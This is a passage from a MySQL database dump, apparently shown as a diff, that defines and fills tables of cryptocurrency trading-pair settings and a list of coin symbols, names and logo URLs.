'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', NULL, NULL, '2023-08-18 15:22:06', NULL, '2023-08-18 15:22:17', '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (20, 'eth', 0.00100000, 10000.00000000, 0.01000000, 3, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', NULL, NULL, '2023-08-18 15:22:32', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (21, 'trx', 1.00000000, 100000.00000000, 0.10000000, 3, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'binance', NULL, NULL, '2023-08-18 15:22:49', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (22, 'doge', 1.00000000, 1000000.00000000, 0.10000000, 5, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'binance', NULL, NULL, '2023-08-18 15:23:10', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (23, 'btc', 1.00000000, 100000000.00000000, 1.00000000, 1, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', NULL, NULL, '2023-08-21 19:30:54', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (24, 'eth', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', NULL, NULL, '2023-08-21 19:31:14', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (25, 'xrp', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'binance', NULL, NULL, '2023-08-21 19:31:34', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (26, 'ltc', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'binance', NULL, NULL, '2023-08-21 19:31:51', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (27, 'bnb', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'binance', NULL, NULL, '2023-08-21 19:32:13', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (28, 'matic', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'binance', NULL, NULL, '2023-08-21 19:32:30', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (29, 'sol', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'binance', NULL, NULL, '2023-08-21 19:32:45', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (30, '1000shib', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', NULL, 'binance', NULL, NULL, '2023-08-21 19:33:39', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (31, 'sfp', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safepal.jpeg', 'binance', NULL, NULL, '2023-08-21 19:33:59', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (32, 'usdt', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether.png', 'huobi', NULL, NULL, '2023-08-21 19:40:01', NULL, NULL, '0', NULL); + +-- ---------------------------- +-- Table structure for t_symbols +-- ---------------------------- +DROP TABLE IF EXISTS `t_symbols`; +CREATE TABLE `t_symbols` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `slug` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '币种名称(ID)', + `symbol` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种符号', + `fullname` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种全称', + `logo_Url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标链接', + `fiat` tinyint(0) NULL DEFAULT NULL COMMENT '是否法定货币', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4141 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '支持币种' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_symbols +-- ---------------------------- +INSERT INTO `t_symbols` VALUES (1, 'bitcoin', 'BTC', 'Bitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2, 'ethereum', 'ETH', 'Ethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', NULL); +INSERT INTO `t_symbols` VALUES (3, 'tether', 'USDT', 'Tether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether.png', NULL); +INSERT INTO `t_symbols` VALUES (4, 'binance-coin', 'BNB', 'BNB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (5, 'usd-coin', 'USDC', 'USD Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usd-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (6, 'ripple', 'XRP', 'XRP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', NULL); +INSERT INTO `t_symbols` VALUES (7, 'binance-usd', 'BUSD', 'Binance USD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-usd.png', NULL); +INSERT INTO `t_symbols` VALUES (8, 'okb', 'OKB', 'OKB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okb.png', NULL); +INSERT INTO `t_symbols` VALUES (9, 'cardano', 'ADA', 'Cardano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', NULL); +INSERT INTO `t_symbols` VALUES (10, 'dogecoin', 'DOGE', 'Dogecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (11, 'wrapped-bitcoin', 'WBTC', 'Wrapped Bitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-bitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (12, 'tron', 'TRX', 'TRON (BSC)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', NULL); +INSERT INTO `t_symbols` VALUES (13, 'litecoin', 'LTC', 'Litecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (14, 'solana', 'SOL', 'Solana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', NULL); +INSERT INTO `t_symbols` VALUES (15, 'matic-network', 'MATIC', 'Polygon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', NULL); +INSERT INTO `t_symbols` VALUES (16, 'polkadot-new', 'DOT', 'Polkadot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkadot-new.png', NULL); +INSERT INTO `t_symbols` VALUES (17, 'dai', 'DAI', 'Dai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dai.png', NULL); +INSERT INTO `t_symbols` VALUES (18, 'shiba-inu', 'SHIB', 'Shiba Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiba-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (19, 'avalanche', 'AVAX', 'Avalanche', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avalanche.png', NULL); +INSERT INTO `t_symbols` VALUES (20, 'uniswap', 'UNI', 'Uniswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniswap.png', NULL); +INSERT INTO `t_symbols` VALUES (21, 'bitcoin-cash', 'BCH', 'Bitcoin Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (22, 'unus-sed-leo', 'LEO', 'LEO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unus-sed-leo.png', NULL); +INSERT INTO `t_symbols` VALUES (23, 'chainlink', 'LINK', 'Chainlink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', NULL); +INSERT INTO `t_symbols` VALUES (24, 'hdw', 'HDW', 'Hardware Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hdw.png', NULL); +INSERT INTO `t_symbols` VALUES (25, 'monero', 'XMR', 'Monero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero.png', NULL); +INSERT INTO `t_symbols` VALUES (26, 'cosmos', 'ATOM', 'Cosmos Hub', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmos.png', NULL); +INSERT INTO `t_symbols` VALUES (27, 'universe', 'UNI', 'UNIVERSE Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/universe.png', NULL); +INSERT INTO `t_symbols` VALUES (28, 'ethereum-classic', 'ETC', 'Ethereum Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (29, 'stellar', 'XLM', 'Stellar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stellar.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (30, 'toncoin', 'TON', 'Toncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (31, 'hedera-hashgraphiou', 'HBAR', 'Hedera', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedera-hashgraphiou.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (32, 'lido-dao', 'LDO', 'Lido DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (33, 'hex', 'HEX', 'HEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hex.png', NULL); +INSERT INTO `t_symbols` VALUES (34, 'cro', 'CRO', 'Cronos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cro.png', NULL); +INSERT INTO `t_symbols` VALUES (35, 'filecoin-mainnet', 'FIL', 'Filecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (36, 'arbitrum', 'ARB', 'Arbitrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrum.png', NULL); +INSERT INTO `t_symbols` VALUES (37, 'emphy', 'EPY', 'Emphy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EmphyOfficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (38, 'vet', 'VET', 'VeChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/vet.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (39, 'qnt', 'QNT', 'Quant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qnt.png', NULL); +INSERT INTO `t_symbols` VALUES (40, 'near-iounear', 'NEAR', 'NEAR Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/near-iounear.png', NULL); +INSERT INTO `t_symbols` VALUES (41, 'dfn', 'ICP', 'Internet Computer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (42, 'ongsocial', 'ONG', 'SoMee.Social [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ongsocial.png', NULL); +INSERT INTO `t_symbols` VALUES (43, 'blockstack', 'STX', 'Stacks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockstack.jpg', NULL); +INSERT INTO `t_symbols` VALUES (44, 'aptos', 'APT', 'Aptos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aptos.png', NULL); +INSERT INTO `t_symbols` VALUES (45, 'aavenew', 'AAVE', 'Aave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavenew.png', NULL); +INSERT INTO `t_symbols` VALUES (46, 'algorand', 'ALGO', 'Algorand', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/algorand.png', NULL); +INSERT INTO `t_symbols` VALUES (47, 'apecoin-ape', 'APE', 'ApeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apecoin-ape.png', NULL); +INSERT INTO `t_symbols` VALUES (48, 'elrond-erd-2', 'EGLD', 'MultiversX (Elrond)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elrond-erd-2.png', NULL); +INSERT INTO `t_symbols` VALUES (49, 'the-graph', 'GRT', 'The Graph', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-graph.png', NULL); +INSERT INTO `t_symbols` VALUES (50, 'fantom', 'FTM', 'Fantom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantom.png', NULL); +INSERT INTO `t_symbols` VALUES (51, 'eos', 'EOS', 'EOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos.png', NULL); +INSERT INTO `t_symbols` VALUES (52, 'theta-token', 'THETA', 'Theta Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theta-token.png', NULL); +INSERT INTO `t_symbols` VALUES (53, 'trueusd', 'TUSD', 'TrueUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trueusd.png', NULL); +INSERT INTO `t_symbols` VALUES (54, 'tezos', 'XTZ', 'Tezos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tezos.png', NULL); +INSERT INTO `t_symbols` VALUES (55, 'decentraland', 'MANA', 'Decentraland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentraland.png', NULL); +INSERT INTO `t_symbols` VALUES (56, 'rocket-pool', 'RPL', 'Rocket Pool', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Rocket_Pool.jpg', NULL); +INSERT INTO `t_symbols` VALUES (57, 'usdd', 'USDD', 'USDD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdd.png', NULL); +INSERT INTO `t_symbols` VALUES (58, 'the-sandbox', 'SAND', 'The Sandbox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-sandbox.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (59, 'drep-new', 'DREP', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drep-new.png', NULL); +INSERT INTO `t_symbols` VALUES (60, 'pepe', 'PEPE', 'Pepe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pepe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (61, 'bitcoin-cash-sv', 'BSV', 'Bitcoin SV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash-sv.png', NULL); +INSERT INTO `t_symbols` VALUES (62, 'axie-infinity', 'AXS', 'Axie Infinity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axie-infinity.png', NULL); +INSERT INTO `t_symbols` VALUES (63, 'kucoin-shares', 'KCS', 'KuCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kucoin-shares.png', NULL); +INSERT INTO `t_symbols` VALUES (64, 'conflux-token', 'CFX', 'Conflux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conflux-token.png', NULL); +INSERT INTO `t_symbols` VALUES (65, 'neo', 'NEO', 'NEO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neo.png', NULL); +INSERT INTO `t_symbols` VALUES (66, 'maker', 'MKR', 'Maker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maker.png', NULL); +INSERT INTO `t_symbols` VALUES (67, 'gatechain', 'GT', 'Gate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gatechain.png', NULL); +INSERT INTO `t_symbols` VALUES (68, 'render-token', 'RNDR', 'Render', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/render-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (69, 'gusd', 'GUSD', 'Gemini Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gusd.png', NULL); +INSERT INTO `t_symbols` VALUES (70, 'curve', 'CRV', 'Curve DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curve.png', NULL); +INSERT INTO `t_symbols` VALUES (71, 'flow', 'FLOW', 'Flow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flow.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (72, 'havven', 'SNX', 'Synthetix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havven.png', NULL); +INSERT INTO `t_symbols` VALUES (73, 'bitbay', 'BAY', 'BitBay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbay.png', NULL); +INSERT INTO `t_symbols` VALUES (74, 'injective-protocol', 'INJ', 'Injective', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/injective-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (75, 'chiliz', 'CHZ', 'Chiliz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chiliz.png', NULL); +INSERT INTO `t_symbols` VALUES (76, 'immutablex', 'IMX', 'ImmutableX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/immutablex.png', NULL); +INSERT INTO `t_symbols` VALUES (77, 'terra-luna', 'LUNC', 'Terra Luna Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna.png', NULL); +INSERT INTO `t_symbols` VALUES (78, 'klaytn', 'KLAY', 'Klaytn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/klaytn.png', NULL); +INSERT INTO `t_symbols` VALUES (79, 'pax-gold', 'PAXG', 'PAX Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pax-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (80, 'tether-gold', 'XAUT', 'Tether Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (81, 'ecash', 'XEC', 'eCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (82, 'bitdao', 'BIT', 'BitDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (83, 'bittorrent-new', 'BTT', 'BitTorrent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bittorrent-new.jpg', NULL); +INSERT INTO `t_symbols` VALUES (84, 'xinfin-network', 'XDC', 'XDC Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xinfin-network.png', NULL); +INSERT INTO `t_symbols` VALUES (85, 'mina-protocoliou', 'MINA', 'Mina', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mina-protocoliou.png', NULL); +INSERT INTO `t_symbols` VALUES (86, 'huobi-token', 'HT', 'Huobi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/huobi-token.png', NULL); +INSERT INTO `t_symbols` VALUES (87, 'casper-network', 'CSPR', 'Casper Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/casper-network.png', NULL); +INSERT INTO `t_symbols` VALUES (88, 'frax-share', 'FXS', 'Frax Share', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frax-share.png', NULL); +INSERT INTO `t_symbols` VALUES (89, 'zcash', 'ZEC', 'Zcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcash.png', NULL); +INSERT INTO `t_symbols` VALUES (90, 'dash', 'DASH', 'Dash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash.png', NULL); +INSERT INTO `t_symbols` VALUES (91, 'tontoken', 'TON', 'TON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tontoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (92, 'kava', 'KAVA', 'Kava', 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kava.png', NULL); +INSERT INTO `t_symbols` VALUES (93, 'trust-wallet', 'TWT', 'Trust Wallet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trust%20wallet.png', NULL); +INSERT INTO `t_symbols` VALUES (94, 'nexo', 'NEXO', 'Nexo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexo.png', NULL); +INSERT INTO `t_symbols` VALUES (95, 'ftx', 'FTT', 'FTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftx.png', NULL); +INSERT INTO `t_symbols` VALUES (96, 'loopring', 'LRC', 'Loopring', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopring.png', NULL); +INSERT INTO `t_symbols` VALUES (97, 'zilliqa', 'ZIL', 'Zilliqa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zilliqa.png', NULL); +INSERT INTO `t_symbols` VALUES (98, 'thorchain', 'RUNE', 'THORChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorchain.png', NULL); +INSERT INTO `t_symbols` VALUES (99, 'enjin-coin', 'ENJ', 'Enjin Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enjin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (100, 'gnosis-gno', 'GNO', 'Gnosis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gnosis-gno.png', NULL); +INSERT INTO `t_symbols` VALUES (101, 'just-stablecoin', 'USDJ', 'USDJ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just-stablecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (102, 'basic-attention-token', 'BAT', 'Basic Attention', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basic-attention-token.png', NULL); +INSERT INTO `t_symbols` VALUES (103, 'convex-finance', 'CVX', 'Convex Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/convex-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (104, 'optimism', 'OP', 'Optimism', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimism.png', NULL); +INSERT INTO `t_symbols` VALUES (105, 'singularitynet-x', 'AGIX', 'SingularityNET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet-x.png', NULL); +INSERT INTO `t_symbols` VALUES (106, 'dydx', 'DYDX', 'dYdX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dydx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (107, 'okexchain', 'OKT', 'OKT Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okexchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (108, '1inch', '1INCH', '1inch Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1inch.png', NULL); +INSERT INTO `t_symbols` VALUES (109, 'nem', 'XEM', 'NEM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nem.png', NULL); +INSERT INTO `t_symbols` VALUES (110, 'mxtoken', 'MX', 'MX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/mxtoken.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (111, 'pancakeswap', 'CAKE', 'PancakeSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pancakeswap.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (112, 'compound-governance-token', 'COMP', 'Compound', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compound-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (113, 'oasis-network', 'ROSE', 'Oasis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oasis-network.png', NULL); +INSERT INTO `t_symbols` VALUES (114, 'holo', 'HOT', 'Holo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/holo.png', NULL); +INSERT INTO `t_symbols` VALUES (115, 'flex-coin', 'FLEX', 'FLEX Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flex-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (116, 'floki-inu', 'FLOKI', 'FLOKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/floki-inu.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (117, 'qtum', 'QTUM', 'Qtum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qtum.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (118, 'celo-gold', 'CELO', 'Celo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celo-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (119, 'mask-network', 'MASK', 'Mask Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mask-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (120, 'wootrade-network', 'WOO', 'WOO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wootrade-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (121, 'baby-doge-coin', 'BABYDOGE', 'Baby Doge Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baby-doge-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (122, 'maya', 'MAYA', 'Maya Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maya.png', NULL); +INSERT INTO `t_symbols` VALUES (123, 'ravencoin', 'RVN', 'Ravencoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoin.png', NULL); +INSERT INTO `t_symbols` VALUES (124, 'link', 'LN', 'LINK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/link.png', NULL); +INSERT INTO `t_symbols` VALUES (125, 'thetafuel', 'TFUEL', 'Theta Fuel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thetafuel.png', NULL); +INSERT INTO `t_symbols` VALUES (126, 'ethereum-name-service', 'ENS', 'Ethereum Name Service', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-name-service.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (127, 'bitcoin-gold', 'BTG', 'Bitcoin Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (128, 'eur-tether', 'EURT', 'Euro Tether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eur-tether.png', NULL); +INSERT INTO `t_symbols` VALUES (129, 'olive', 'OLE', 'Olive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/olive.png', NULL); +INSERT INTO `t_symbols` VALUES (130, 'kusama', 'KSM', 'Kusama', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kusama.png', NULL); +INSERT INTO `t_symbols` VALUES (131, 'swipe', 'SXP', 'Solar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swipe.png', NULL); +INSERT INTO `t_symbols` VALUES (132, 'waves', 'WAVES', 'Waves', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves.png', NULL); +INSERT INTO `t_symbols` VALUES (133, 'decred', 'DCR', 'Decred', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decred.png', NULL); +INSERT INTO `t_symbols` VALUES (134, 'iostoken', 'IOST', 'IOST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iostoken.png', NULL); +INSERT INTO `t_symbols` VALUES (135, 'yearn-finance', 'YFI', 'yearn.finance', 